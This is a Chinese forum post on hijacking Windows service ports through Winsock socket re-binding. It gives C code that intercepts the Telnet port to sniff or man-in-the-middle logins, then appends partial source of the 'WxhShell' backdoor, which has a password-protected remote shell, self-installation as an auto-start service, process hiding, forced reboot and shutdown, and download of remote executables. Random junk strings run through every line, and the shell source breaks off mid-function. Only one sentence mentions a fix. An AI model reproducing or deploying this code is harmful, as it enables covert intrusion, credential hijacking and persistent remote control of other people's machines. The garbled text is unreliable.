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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rlD!%gG2x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a6-.|tt#t  
Z`u$#<ukX  
  saddr.sin_family = AF_INET; u>n"FL 'e  
VX&PkGi?o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Rq%Kw > {&  
Mx$&{.LFJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !3Pbu=(cte  
n{i,`oQ"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^:]$m;v]  
]jFl?LA%7  
  这意味着什么?意味着可以进行如下的攻击: 31@Lr[!  
H=Ilum06  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Yu>DgMW  
ZGDT 6,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kQ}n~Hn  
EgU#r@7I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s0^(yEcq  
\1Xk[%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2h'Wu qO  
6oNcj_?7?q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %KXiB6<4  
{VE h@yn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QCF'/G  
e[fOm0^.c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1XMR7liE  
RHg-Cg`  
  #include G$+v |z  
  #include k=hWYe$iAz  
  #include wDZ<UP=X  
  #include    AQg|lKv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q.VYPkEib  
  int main() fq]PKLW'  
  { DS<1"4 b|  
  WORD wVersionRequested; eZLEdTScM  
  DWORD ret; ~0a5  
  WSADATA wsaData; %,kP_[!>Q  
  BOOL val; {P]C>  
  SOCKADDR_IN saddr; ~lys  
  SOCKADDR_IN scaddr; 3KkfQ{  
  int err; KLg1(W(  
  SOCKET s; iqQT ^  
  SOCKET sc; Sw\*$g]  
  int caddsize; _`|1B$@x  
  HANDLE mt; qW0:q.   
  DWORD tid;   %w*)7@,+-  
  wVersionRequested = MAKEWORD( 2, 2 ); :TH cI;PG8  
  err = WSAStartup( wVersionRequested, &wsaData ); 4^tSg#!V{  
  if ( err != 0 ) { Yf w>x[#e  
  printf("error!WSAStartup failed!\n"); 2Wz8E2.  
  return -1; 2T~cOH;T  
  } 4Z( #;9f  
  saddr.sin_family = AF_INET; G@[8P?M=Z  
   z1PwupXt1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &X$T "Dp  
-n|bi cP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <W80AJ  
  saddr.sin_port = htons(23); G%<}TI1}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;*<tU n^t  
  { ;sZG=y@  
  printf("error!socket failed!\n"); /\I6j;$z  
  return -1; (^d7K:-'  
  } z)qYW6o%  
  val = TRUE; WQK<z!W5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7A)\:k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W$rWg>4>  
  { Ts5)r(  
  printf("error!setsockopt failed!\n"); Dcl$?  
  return -1; Jz}nV1G(jz  
  } .+9hm|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,ks2&e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MtLWpi u@[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J D\tt-  
zfIo] M`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zM9#1^X  
  { B$4*U"tk  
  ret=GetLastError(); Jl Do_}  
  printf("error!bind failed!\n"); T*z]<0E]  
  return -1; %tCv-aX4  
  } Z'z)Oo  
  listen(s,2); 7L{1S v  
  while(1) ~M C|  
  { AM}R#86  
  caddsize = sizeof(scaddr); <n2@;` D  
  //接受连接请求 M";qo6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 37#&:[w>  
  if(sc!=INVALID_SOCKET) $*yYmF  
  { YG "Ta|@5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Dp@XAyiA[  
  if(mt==NULL) f-ltV<C_  
  { b$G{^  
  printf("Thread Creat Failed!\n"); O\5%IfB'"  
  break; bjZJP\6  
  } ~wvt:E,f C  
  } "[bkdL<  
  CloseHandle(mt); zA,vp^  
  } $@g]?*L:  
  closesocket(s); 7=G 2sOC  
  WSACleanup(); hnnB4]c  
  return 0; jh5QIZf=  
  }   vCzZjGBY  
  DWORD WINAPI ClientThread(LPVOID lpParam) KII{GDR]  
  { DiCz%'N  
  SOCKET ss = (SOCKET)lpParam; -9Q(3$}  
  SOCKET sc; #8$?# dT  
  unsigned char buf[4096]; Y0LZbT3  
  SOCKADDR_IN saddr; ,/;Ae w;  
  long num; ]z'&oz  
  DWORD val;  q6 CrUn  
  DWORD ret; Ss3p6%V/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A2_ut6&eb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?w3RqF@}  
  saddr.sin_family = AF_INET; mw @Pl\=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OgQd yU  
  saddr.sin_port = htons(23); q6zVu(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3Cf9'C  
  { @CprC]X  
  printf("error!socket failed!\n"); _y@ 28t  
  return -1; TCr4-"`r-{  
  } ( }-*irSsj  
  val = 100; du65=w4E!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]e>qvSuYh  
  { 7v: XAU  
  ret = GetLastError(); "<,lqIqA;  
  return -1; ~q$]iwwqT  
  } Y(Q 0m|3P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hon2;-:]{]  
  { bJ d| mm/v  
  ret = GetLastError(); F O!Td  
  return -1; <Ap_#  
  } ;pnF%co9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \PrJy6&  
  { mF4W4~"  
  printf("error!socket connect failed!\n"); s~M4. 06P  
  closesocket(sc); cslC+e/  
  closesocket(ss); |IgR1kp+.  
  return -1; 2Q^ q$@L  
  } Llfl I   
  while(1) u$ts>Q;5  
  { ;6tra_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]OAU&t{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -&+:7t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  H.5 6  
  num = recv(ss,buf,4096,0); 7B?Y.B  
  if(num>0) Sd+5Uf `  
  send(sc,buf,num,0); eG=d)`.JaV  
  else if(num==0) :1'  
  break; }%g[1 #%(  
  num = recv(sc,buf,4096,0); l*CulVX  
  if(num>0) )g pN 5TDd  
  send(ss,buf,num,0); Xdvd\H=  
  else if(num==0) I?T !  
  break; 0s n$QmW:  
  } K\xz|Gq  
  closesocket(ss); \!ZA#7  
  closesocket(sc); X3:1KDVsV  
  return 0 ; o&JoeKXor  
  } z)Rkd0/X  
z#{Y>.b  
H_xHoCLI  
========================================================== \f,<\mJ#  
-rDfDdT  
下边附上一个代码,,WXhSHELL Yy~x`P'g!  
={g"cx  
========================================================== $z=a+t *  
:zW? O#aL-  
#include "stdafx.h" }Qo]~/  
,xwiJfG; ]  
#include <stdio.h> k>i88^kPV  
#include <string.h> mnTF40l  
#include <windows.h> |W@ ~mrO  
#include <winsock2.h> W ?x~"-*  
#include <winsvc.h> E:` _P+2p  
#include <urlmon.h> l;-2hZ  
| BaEv\$K  
#pragma comment (lib, "Ws2_32.lib") 3.movkj  
#pragma comment (lib, "urlmon.lib") =Jp:dM*  
PqspoH 0OI  
#define MAX_USER   100 // 最大客户端连接数 b+Q{Z*  
#define BUF_SOCK   200 // sock buffer 3MQHoxX  
#define KEY_BUFF   255 // 输入 buffer U|wST&rU|  
=CzGI|pb  
#define REBOOT     0   // 重启 F=\ REq  
#define SHUTDOWN   1   // 关机 `;mgJD  
m mF0RNE  
#define DEF_PORT   5000 // 监听端口 wOH:'sk["  
+ S+!:IB  
#define REG_LEN     16   // 注册表键长度 G[}v?RLI  
#define SVC_LEN     80   // NT服务名长度 O 0}uY:B  
&D<6Go/)_*  
// 从dll定义API SX,$ $43  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !\b-Ot(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %XR(K@V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5,xPB5pK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); & n*ga$Q  
<ppdy,j:  
// wxhshell配置信息 olv&K(-ccI  
struct WSCFG { jd]L}%ax  
  int ws_port;         // 监听端口 "%K'~"S#Q,  
  char ws_passstr[REG_LEN]; // 口令 ?C CQm  
  int ws_autoins;       // 安装标记, 1=yes 0=no YM#' +wl}`  
  char ws_regname[REG_LEN]; // 注册表键名 o^@#pU <  
  char ws_svcname[REG_LEN]; // 服务名 @Ez>?#z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &wQ<sVQ0$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c ,#=In2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U_jW5mgsG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,b^Y8_ltoT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" } ew{WD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 42e[OG-  
.joCZKO  
}; '*[7O2\%/  
:@p]~{m:G  
// default Wxhshell configuration q AVypP?J  
struct WSCFG wscfg={DEF_PORT, &%v*%{|j  
    "xuhuanlingzhe", /#5rt&q  
    1, Wrbv<8}%c  
    "Wxhshell",  Ju5Dd\  
    "Wxhshell", xJ#O|7N  
            "WxhShell Service", {pQ8/Af!  
    "Wrsky Windows CmdShell Service", b73}|4v  
    "Please Input Your Password: ", NXLb'mH~  
  1, zvN7aG  
  "http://www.wrsky.com/wxhshell.exe", (]k Q9}8  
  "Wxhshell.exe" ZYB5s~;eB"  
    }; yl*%P3m|  
/?BTET  
// 消息定义模块 nls$ wE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AW;xlY= g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %-YWn`yEm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K}q5,P(  
char *msg_ws_ext="\n\rExit."; Cm5L99Y  
char *msg_ws_end="\n\rQuit."; Ag3+z+uS  
char *msg_ws_boot="\n\rReboot..."; bfUKh%!M  
char *msg_ws_poff="\n\rShutdown..."; ,nog6\  
char *msg_ws_down="\n\rSave to "; )a!f")@uz  
-~sW@u)O  
char *msg_ws_err="\n\rErr!"; aeYz;&K  
char *msg_ws_ok="\n\rOK!"; e`B!)Sr  
">B&dNrt  
char ExeFile[MAX_PATH]; 8bw, dBN  
int nUser = 0; (^T}6t3+4  
HANDLE handles[MAX_USER]; jn]l!nm  
int OsIsNt; N f?\O@  
6ImW |%  
SERVICE_STATUS       serviceStatus; n\7 >_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )#Ecm<.^  
f&F9ImZ  
// 函数声明 hey/#GC*  
int Install(void); hQ)?LPUB  
int Uninstall(void); 8u*Q^-fpo0  
int DownloadFile(char *sURL, SOCKET wsh); Oo!]{[}7  
int Boot(int flag); }If,O  
void HideProc(void); 'D[ *|Qcy  
int GetOsVer(void); NUBzc'qb  
int Wxhshell(SOCKET wsl); .K_50 %s  
void TalkWithClient(void *cs); YY>&R'3[  
int CmdShell(SOCKET sock); #BEXj<m+J  
int StartFromService(void); G=Xas"|  
int StartWxhshell(LPSTR lpCmdLine); t}K8{ V  
,S}wOjb@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8XfOM f~d`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _0&U'/cs  
RR`\q>|  
// 数据结构和表定义 IQ JFL +f  
SERVICE_TABLE_ENTRY DispatchTable[] = 8M4GforP  
{ W9GjUswv!  
{wscfg.ws_svcname, NTServiceMain}, pBVzmQF  
{NULL, NULL} gxDyCL$h3  
}; ^MWp{E  
HT_nxe`E  
// 自我安装 ;%AY#b4m  
int Install(void) 47 &p*=  
{ U,< ?]h  
  char svExeFile[MAX_PATH]; `'rvDaP  
  HKEY key; \O>;,(>i  
  strcpy(svExeFile,ExeFile); =4/K#cQ  
sEa|2$  
// 如果是win9x系统,修改注册表设为自启动 'Urx83  
if(!OsIsNt) { t4zKI~cO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qz-lQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9]S;%:64  
  RegCloseKey(key); ^Y"|2 :  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bz\nCfU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fo;^Jg.  
  RegCloseKey(key); $ 3Sm?  
  return 0; SG)|4$"  
    } tHJahK:"k  
  } aO *][;0  
} xn<x/e  
else { tY`%vI [  
!imjfkG  
// 如果是NT以上系统,安装为系统服务 G'iE`4`2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _10I0Z0  
if (schSCManager!=0) \uOR1z  
{ aslb^  
  SC_HANDLE schService = CreateService fc^d3wH0L  
  ( D' h%.  
  schSCManager, )5<c8lzp  
  wscfg.ws_svcname, kznm$2 b  
  wscfg.ws_svcdisp, GS,}]c=  
  SERVICE_ALL_ACCESS, %PM8;]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {%v{iE>  
  SERVICE_AUTO_START, XAUHF-"WE  
  SERVICE_ERROR_NORMAL, j-/F *P  
  svExeFile, Ix.Y_}  
  NULL, <OGXKv@  
  NULL, -aM7>YR  
  NULL, ]L!:/k,=S  
  NULL, sWMY Lo  
  NULL K1*V\WRW5  
  ); KCS},X_  
  if (schService!=0) ej]>*n  
  { 4#D>]AX  
  CloseServiceHandle(schService); IoxdWQ4]A  
  CloseServiceHandle(schSCManager); kXZG<?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jY $3   
  strcat(svExeFile,wscfg.ws_svcname); Dp;6CGYl?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #D Oui]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4nD U-P#f  
  RegCloseKey(key); ]]V| ]}<)m  
  return 0; ?`=r@  
    } a*{ -r]  
  } K7] +. f  
  CloseServiceHandle(schSCManager); ]|K@0,  
} ~d&W;mef-  
}  uzaD K  
+IbQVU~/  
return 1; 52z{   
} [UYE.$Y#(  
P(~vqo>!  
// 自我卸载 HpR(DG) ?  
int Uninstall(void) qku!Mg  
{ 7\ kixfEg  
  HKEY key; nQ^ c{Bm:  
vC%8-;8{H  
if(!OsIsNt) { 0I"r*;9?K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t(5PKD#~Dc  
  RegDeleteValue(key,wscfg.ws_regname); H4IJLZ3G  
  RegCloseKey(key); VgcLG ]tE[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pJ3Yjm[l  
  RegDeleteValue(key,wscfg.ws_regname); :B5M#D!dO  
  RegCloseKey(key); 5!iBKOl#D  
  return 0; E@92hB4D"  
  } \LQ54^eB  
} xPorlX)zW  
} ynU20g  
else { ,p[9EW*8  
~)IiF.I b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p2uZ*sY(D  
if (schSCManager!=0) ad,pHJ`  
{ ~SR9*<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =p 7eP  
  if (schService!=0) <t"|wYAa_  
  { zJX _EO  
  if(DeleteService(schService)!=0) { /{*0 \`;  
  CloseServiceHandle(schService); T~- OC0  
  CloseServiceHandle(schSCManager); rM{V>s:N  
  return 0; kNrN72qg  
  } ="__*J#nze  
  CloseServiceHandle(schService); 'fr~1pmx#3  
  } |++\"g  
  CloseServiceHandle(schSCManager); %e%VHHO|  
} iFkXt<_A  
} s2t9+ZA+s  
yHjuT+/wM,  
return 1; &_ W~d0  
} ,AEaW  
r`5svY  
// 从指定url下载文件 P1IL ]  
int DownloadFile(char *sURL, SOCKET wsh) l/g6Tv `w  
{ (~OP)F).  
  HRESULT hr; j$Wd[Ja+O  
char seps[]= "/";  y)GH=@b  
char *token; '4]_~?&x  
char *file; &^1{x`Qo=  
char myURL[MAX_PATH]; uwo\FI  
char myFILE[MAX_PATH]; gjDxgNpa  
/YHAU5N/}  
strcpy(myURL,sURL); c01i !XS  
  token=strtok(myURL,seps); cyPJ( &;  
  while(token!=NULL) -0f ,qNF  
  { "#G`F  
    file=token; jSd[  
  token=strtok(NULL,seps); J`xCd/G  
  } ViYfK7Z  
<tT.m[qg  
GetCurrentDirectory(MAX_PATH,myFILE); S\R5SRE  
strcat(myFILE, "\\"); GiS:Nq`$(  
strcat(myFILE, file); l _gJC.  
  send(wsh,myFILE,strlen(myFILE),0); z[+Sb;  
send(wsh,"...",3,0); =:;K nS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >vKOG@I  
  if(hr==S_OK) ?'RB'o~  
return 0; o9]i {e>L  
else kY^ k*-v  
return 1; *~0U4kw+  
W*r1Sy  
} 9>9,   
uZe"M(3r$  
// 系统电源模块 hI 1or4V  
int Boot(int flag) {@ Z=b 5/P  
{ }*?,&9/_)  
  HANDLE hToken; +=K =B  
  TOKEN_PRIVILEGES tkp; nZ % %{#T7  
_"[Ls?tRX  
  if(OsIsNt) { ve^gzE$<I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6_g:2=6S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r1 [c+Hy  
    tkp.PrivilegeCount = 1; IxaF *4JG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2{<o1x,Ym  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mI'&!@WG  
if(flag==REBOOT) { __Zex5Y#-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i ?PgYk&}  
  return 0; M;9s  
} Z rv:uEl  
else { d9up! k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :!ablO~  
  return 0; H3L uRGe&2  
} !<>*|a  
  }  JKV&c= I  
  else { i>O8q%BnJ  
if(flag==REBOOT) { 8]D0)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 28qlp>U  
  return 0;  :!Nx'F9a  
} @FZbp  
else { +ZOKfX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  |A\o  
  return 0;  +;-ZU  
} $0k7W?tu  
} \q\"=  
&0i$Y\g  
return 1; }bSDhMV;  
} QBh*x/J  
;Yt+ {pI  
// win9x进程隐藏模块 OG9 '[o`8  
void HideProc(void) g(9kc<`3'D  
{ i+F*vTM2,  
bh(} f.@ 9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EJ(36h  
  if ( hKernel != NULL ) Mh{244|o[  
  { *d`KD64  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IXG@$O?y/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m/"([Y_  
    FreeLibrary(hKernel); nRvaCAt^  
  } uW [yNwM  
!nq`Py MR  
return; E*h!{)z@F  
} A{e>7Z72  
 S'\e"w  
// 获取操作系统版本 G<* Iw>ep  
int GetOsVer(void) Kv2S&P|jXM  
{ #uF`|M$u  
  OSVERSIONINFO winfo; \KzH5?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cg o  
  GetVersionEx(&winfo); $s4.Aj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jZC[_p;  
  return 1; TMo DN%{  
  else )ki Gk}2  
  return 0; 4$WR8  
} #4JLWg  
K8Q3~bMf  
// 客户端句柄模块 XK\3"`kd  
int Wxhshell(SOCKET wsl) vK[%c A"  
{ DVVyWn[  
  SOCKET wsh; D6H?*4f]  
  struct sockaddr_in client; YCQ $X  
  DWORD myID; -cijLlz%+  
}i,r{Y]s]  
  while(nUser<MAX_USER) !n` |k  
{ r @m]#4  
  int nSize=sizeof(client); H%XF~tF:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~\8(+qIv%f  
  if(wsh==INVALID_SOCKET) return 1; r~2hTie  
=JW-EQ6[T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k_!e5c  
if(handles[nUser]==0) vg5_@7  
  closesocket(wsh); 'A^q)hpax  
else "TJ*mN.i{}  
  nUser++; dJ m9''T')  
  } B~7!v${  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g&y^r/  
dzBP<Xyh  
  return 0; huS*1xl  
} #CaPj:>[  
DJ@n$G`^^  
// 关闭 socket Y#XRn _2D  
void CloseIt(SOCKET wsh) as!a!1  
{ /1v9U|j  
closesocket(wsh); ,aLwOmO  
nUser--; XC)9aC@s  
ExitThread(0); 8\!E )M|4  
} y/c3x*l.xL  
J (?qk  
// 客户端请求句柄 jT =|!,Pn  
void TalkWithClient(void *cs) R-j*fO}  
{ Wz s=BNm9  
|[IyqWG9  
  SOCKET wsh=(SOCKET)cs; w\YS5!P,V  
  char pwd[SVC_LEN]; N UX |  
  char cmd[KEY_BUFF]; w|-3X  
char chr[1]; T"W<l4i-  
int i,j; jt on\9  
*>KBDFI  
  while (nUser < MAX_USER) { +q '1P}e  
jh)@3c  
if(wscfg.ws_passstr) { xF8n=Lc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZQ_6I}i")  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X<}}DZSu a  
  //ZeroMemory(pwd,KEY_BUFF); ~qrSHn}+PU  
      i=0; , :#bo]3  
  while(i<SVC_LEN) { )ZpI%M?)  
BZ?Ck[E]Z  
  // 设置超时 GQn:lu3j:  
  fd_set FdRead; )6C+0b*  
  struct timeval TimeOut; ?gl&q+mv  
  FD_ZERO(&FdRead); eKvr1m- -  
  FD_SET(wsh,&FdRead); d"9tP& Q  
  TimeOut.tv_sec=8; vKG\8+  
  TimeOut.tv_usec=0; DFK@/.V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3- Kgz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q2vD)r  
QDg5B6>$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FN-/~Su~J  
  pwd=chr[0]; lx%c&~.DiB  
  if(chr[0]==0xd || chr[0]==0xa) { i D IY|  
  pwd=0; P_1WJ  
  break; `Npa/Q  
  } _xaum  
  i++; mvEhP{w  
    } (@+pz/  
tb+gCs'D  
  // 如果是非法用户,关闭 socket #cfiN b}GX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4d@yAr}  
} #c^]p/  
iWf+wC|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1_] X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cmG27\cRO  
Xxg|01  
while(1) { NZvgkci_(u  
Trv}YT.  
  ZeroMemory(cmd,KEY_BUFF); Ay?<~)H  
L7C ;l,ot  
      // 自动支持客户端 telnet标准   ?'MkaG0g  
  j=0; f1 x&Fk  
  while(j<KEY_BUFF) { kw#X,h P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,TQec:B  
  cmd[j]=chr[0]; oRWje#4O  
  if(chr[0]==0xa || chr[0]==0xd) { j 2ag b  
  cmd[j]=0; _ nMd  
  break; hJEd7{n  
  } D;pI!S<#  
  j++; vhfjZ  
    } PEf yHf7`  
%GhI0F #  
  // 下载文件 ="voJgvw  
  if(strstr(cmd,"http://")) { Pao^>rj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7S a9  
  if(DownloadFile(cmd,wsh)) {v|!];i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Hj)Av <O(  
  else |(>`qL{|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9eMle?pF  
  } tAAMSb9[d  
  else { hC\ l \y  
z\]Z/Bz:6  
    switch(cmd[0]) { _i05' _  
  g< j)  
  // 帮助 B)JMughq_  
  case '?': { FH,]'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :0J`4  
    break; PK[mf\G\  
  } ~[ufL25K  
  // 安装 >yC=@Uq+  
  case 'i': { XGl2rX&  
    if(Install()) _Si=Jp][  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); io4<HN  
    else dCd~]CI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` B)@  
    break; I&1Lm)W&  
    } |7|S>h^  
  // 卸载 Vu$m1,/  
  case 'r': { m;@q('O  
    if(Uninstall()) Scrj%h%[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {MgRi 7  
    else P<PZ4hNx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [^qT?se{  
    break; xp^RAVXq`  
    } e5' I W__  
  // 显示 wxhshell 所在路径 r:H]`Uo'r  
  case 'p': { G2` z?);1b  
    char svExeFile[MAX_PATH]; (/]'e}  
    strcpy(svExeFile,"\n\r"); FIq'W:q:  
      strcat(svExeFile,ExeFile); FLi'}C  
        send(wsh,svExeFile,strlen(svExeFile),0); :G _  
    break; Ge q]wv8  
    } o[ 5dR<  
  // 重启 1VJ${\H]  
  case 'b': { FZi@h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ER"69zQg|2  
    if(Boot(REBOOT)) Hyb(.hlZh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @DysM~I  
    else {  *&_*G~>D  
    closesocket(wsh); tsb[=W!Ar8  
    ExitThread(0); (nqry[g&  
    } JEto_&8,C  
    break; .+:iAnf  
    } <`nShP>vl  
  // 关机 N5?bflY  
  case 'd': { <%)vl P#@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y7HFmGM  
    if(Boot(SHUTDOWN)) Ta?J;&<u]/  
